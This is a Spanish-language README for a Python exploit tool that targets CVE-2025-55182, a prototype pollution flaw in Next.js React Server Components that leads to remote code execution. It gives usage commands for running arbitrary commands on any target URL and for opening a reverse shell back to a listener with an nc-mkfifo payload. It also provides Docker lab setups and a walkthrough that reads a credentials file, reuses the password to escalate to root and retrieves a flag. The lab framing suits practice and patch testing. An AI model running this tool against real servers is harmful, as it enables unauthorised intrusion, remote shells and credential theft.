
Exploit para CVE-2025-55182 dirigido a Next.js React Server Components mediante contaminación de prototipos, permitiendo ejecución remota de código con ejecución de comandos y cargas útiles de reverse shell. Incluye entornos de laboratorio Docker para práctica.
Explota CVE-2025-55182 para ejecución remota de código mediante contaminación de prototipos.
Autor: Severian N.K.
Esta herramienta explota una vulnerabilidad de contaminación de prototipos en aplicaciones Next.js que utilizan Componentes de Servidor React, lo que lleva a Ejecución Remota de Código (RCE). Soporta tanto la ejecución directa de comandos como shells inversos.
Este proyecto utiliza un entorno virtual de Python para gestionar las dependencias. Primero, asegúrate de tener Python 3 instalado.
Configurar el entorno virtual:
python3 -m venv venv
Activar el entorno e instalar las dependencias:
source venv/bin/activate
pip install -r requirements.txt
Asegúrate de que el entorno virtual esté activado (source venv/bin/activate) antes de ejecutar el exploit.
Para ejecutar un solo comando en el objetivo:
python3 exploit.py -u <TARGET_URL> -c "<COMMAND>"
Ejemplo:
python3 exploit.py -u http://example.com -c "id"
Para obtener una shell inversa desde el objetivo:
python3 exploit.py -u <TARGET_URL> -r -l <LISTENER_IP> -p <LISTENER_PORT>
Ejemplo:
python3 exploit.py -u http://example.com -r -l 10.10.10.2 -p 9001 -P nc-mkfifo
El directorio lab/ contiene dos entornos Docker independientes:
lab/vulnerable): Ejecutándose en el puerto 3000.lab/patched): Ejecutándose en el puerto 3001.cd lab/vulnerable
chmod +x build.sh run.sh
./build.sh
./run.sh
Accede en: http://localhost:3000
cd lab/patched
chmod +x build.sh run.sh
./build.sh
./run.sh
Accede en: http://localhost:3001
Debes especificar tu IP de escucha (--lhost) y puerto (--lport). Puedes encontrar tu IP del puente Docker con ip addr show docker0 (generalmente 172.17.0.1).
python exploit.py -u http://localhost:3000 -r -l 172.17.0.1 -p 6000 -P nc-mkfifo
Nota: Usamos
-P nc-mkfifoporque el objetivo está ejecutando Alpine Linux, lo que requiere un tipo de payload específico.
El contenedor vulnerable expone un archivo secreto.
python3 exploit.py -u http://localhost:3000 -c "cat /secret/credentials.txt"
# Output: manager:SuperSecret2025!
Puedes escalar de nextjs a root usando las credenciales comprometidas.
su - manager (Contraseña: SuperSecret2025!)sudo su (Contraseña: SuperSecret2025!)cat /root/flag.txt
# Output: Congratulations! You have gained full control over the system!
¡Las contribuciones son bienvenidas! Si encuentras un error o tienes una idea para una mejora, por favor abre un issue o envía un pull request.